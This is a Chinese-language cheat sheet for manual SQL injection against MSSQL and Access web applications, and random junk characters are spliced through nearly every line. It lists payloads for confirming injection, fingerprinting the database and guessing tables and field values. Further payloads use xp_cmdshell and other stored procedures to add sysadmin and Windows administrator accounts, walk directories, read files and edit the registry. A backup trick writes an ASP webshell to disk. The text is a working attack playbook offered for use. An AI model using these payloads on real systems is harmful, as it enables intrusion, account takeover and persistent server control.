手工脚本注入 % s5 r" m% p# Z" ^3 p6 u9 I' H/ |
1.判断是否有注入;and 1=1 ;and 1=2
5 X2 K, T) ?3 w; ?
# U% h% d& h7 y2.初步判断是否是mssql ;and user>0
0 i' w+ ~& v e4 [/ O( w" h
) `/ u, G+ O" J K3.注入参数是字符'and [查询条件] and ''='
$ K2 a5 }7 O4 v; i H) ]7 o+ |# `" E: m+ `1 D! x
4.搜索时没过滤参数的'and [查询条件] and '%25'=' * D# K3 G! O& m# P; q, Q
2 H% X- y9 B, R& i- r/ {5.判断数据库系统
2 S7 J" j( l7 U/ d! T( Z1 s$ L;and (select count(*) from sysobjects)>0 mssql 5 c. b9 A! {8 v8 A" ~ p1 [
;and (select count(*) from msysobjects)>0 access 5 i' v. S$ L7 z, U
5 M1 E1 h( c) q$ x* A4 n6.猜数据库 ;and (select Count(*) from [数据库名])>0
/ U4 A; M! U, m- I/ \; R; V- R8 V6 n0 r5 s# b; v# |
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
6 c: j: S4 O9 T( I; W
: I0 {, z# d, |+ J+ k# Z8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 # o0 T5 k+ Y% _% V
3 V0 h- m* { _
9.(1)猜字段的ascii值(access)
5 W6 v5 i# q9 A5 D2 x& G;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
, Z5 f+ v1 p2 Q& x3 Q4 _. t- G3 G5 y
& _4 p0 R% v$ ?* G(2)猜字段的ascii值(mssql)
9 ` n3 n/ u1 w) [# D5 d' {1 D;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 6 V$ ?# }* R4 u' A5 Q1 c0 c: B
3 c) c" p, q" {5 `/ u
10.测试权限结构(mssql)
8 }) a# N! t: F, H i8 v+ m;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ; `" C# m- B$ B; f& m, }
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2 ?# P4 Q# j( w: I; C
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
2 `- I- d# j5 c$ p9 n- a;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 7 k# ^; }4 q& ~" V1 _! h# f
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 6 R8 T" m* `7 d) @1 P
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 7 d7 }7 Z2 @- k. P) P, i% _
;and 1=(select IS_MEMBER('db_owner'));--
% M) L0 T8 d# i/ F# @$ x6 u
- \0 A6 h. c# H0 R11.添加mssql和系统的帐户
! i8 g, u5 v9 V( K8 m3 d;exec master.dbo.sp_addlogin username;--
7 {! H5 K" {3 H. q$ t; U- I2 G2 {! Y3 s& }- C
;exec master.dbo.sp_password null,username,password;-- ( g) O8 O. l' T. h
; T: n" N. \, q' B. a0 U;exec master.dbo.sp_addsrvrolemember sysadmin username;--
6 B) c3 v9 u' a8 b6 v" c
/ G) y, q- A" P5 [$ m;exec master.dbo.xp_cmdshell 'net user username password 8 t( m: c6 i+ Q6 g& a4 R# `+ z" k6 w
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- : P; j1 f. @# }( `0 ?
1 i( ^+ Q2 F- @( r3 {2 U; i: k;exec master.dbo.xp_cmdshell 'net user username password /add';--
% `, t' q; g6 [* e7 q+ c
! B! t# l4 K8 Q+ D;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 8 O! \/ }5 q9 b |( |
/ W8 \8 p! c& s# x5 \
12.(1)遍历目录
/ k, X" Z; K, L& R6 k/ s" p3 V! m) t# n) A0 l, y
;create table dirs(paths varchar(100), id int)
# R7 ]; i8 k7 u' w* l5 z;insert dirs exec master.dbo.xp_dirtree 'c:\'
/ w9 `1 ?+ j) v& m;and (select top 1 paths from dirs)>0 : Q9 A3 x6 S2 f! s, [
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
1 w N9 |! a, M5 C7 v
6 w" j+ _! X5 x, A. N(2)遍历目录 - h5 \5 }. l4 ~2 |( T: S
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ; v4 P: Q/ `, C& b# r0 v
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 - U8 u" @1 A# M
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4 v9 r; F$ |) I
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 2 W+ R6 q0 e+ w1 b- U
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
8 H2 w5 O4 |% S/ f/ U7 E
& v$ T1 R# H* r/ i% N, C9 l3 F13.mssql中的存储过程 ( N# m7 g# g0 m5 `; d7 I+ M, h3 m
+ @1 H x$ z9 o7 p1 H7 P5 ^, dxp_regenumvalues 注册表根键, 子键 , D! N P; A/ D2 Z, X# y# e) M1 |; b
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 - o8 b6 P7 j3 n- N2 ?5 \1 _$ j
! |7 ~: A0 T8 w
xp_regread 根键,子键,键值名
( O; D5 d" N v" Z; g9 q. |6 o;exec xp_regread 6 p* [ H( Z0 m! m
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
* x% D$ P* W1 Q n l4 s) z& t/ b, Q" b" m9 ~7 ~2 f, k- n
xp_regwrite 根键,子键, 值名, 值类型, 值
7 {7 A8 z) u f# W \' X值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 + Y0 x( V8 o% @- c. |+ O
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
_8 p3 U* G; L+ f7 W: V; T+ c
5 f: R' A% N, w3 `xp_regdeletevalue 根键,子键,值名 ; T4 |1 X# z) @5 }
( m/ s7 R/ V) [& F3 c$ B
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
, T( k( j8 X& J1 C; P
; I$ T0 q# z( Cxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
' }/ Z. L# L- e* V
' }9 ]: g# T2 w" J( w9 j14.mssql的backup创建webshell 8 a K7 ]' I: a* A
use model ! a. p! c( B3 x& a# o [! r
create table cmd(str image);
) W7 L1 W& e6 m3 n2 `- B' yinsert into cmd(str) values (''); ) F. h _4 q# o: b& l/ x# Y
backup database model to disk='c:\l.asp'; 9 ]8 u8 u4 ~4 o; _
# ]; b% e2 }! ^. [15.mssql内置函数
% f L& I; I( i8 _5 U1 h;and (select @@version)>0 获得Windows的版本号
6 ?& `) O' h; v;and user_name()='dbo' 判断当前系统的连接用户是不是sa
# {" q1 v; G) Y;and (select user_name())>0 爆当前系统的连接用户 " B: f- }8 D {4 |. K! _
;and (select db_name())>0 得到当前连接的数据库 . H; c9 F/ I: ]
$ E9 y2 _% t+ N" X% z16.简洁的webshell 6 p; Y. i1 m" G/ Z$ B' f2 _+ l; n
% c! X: O% H% Y4 F/ R4 e
use model & u4 J9 X1 L8 f2 H _' D- g
) I3 g" b, j% N+ s) k
create table cmd(str image);
1 y' ?( s4 c, v. {# ], a! }* H- M$ Y6 b0 S; {# e
insert into cmd(str) values (''); ; g8 r+ o& d& }& m) U; I# D, a
) U7 Q; l% y( X: bbackup database model to disk='g:\wwwtest\l.asp';
: S: p. e! \% r* c9 Z
5 ?2 f2 {/ J f6 H, @7 ?* W& ? |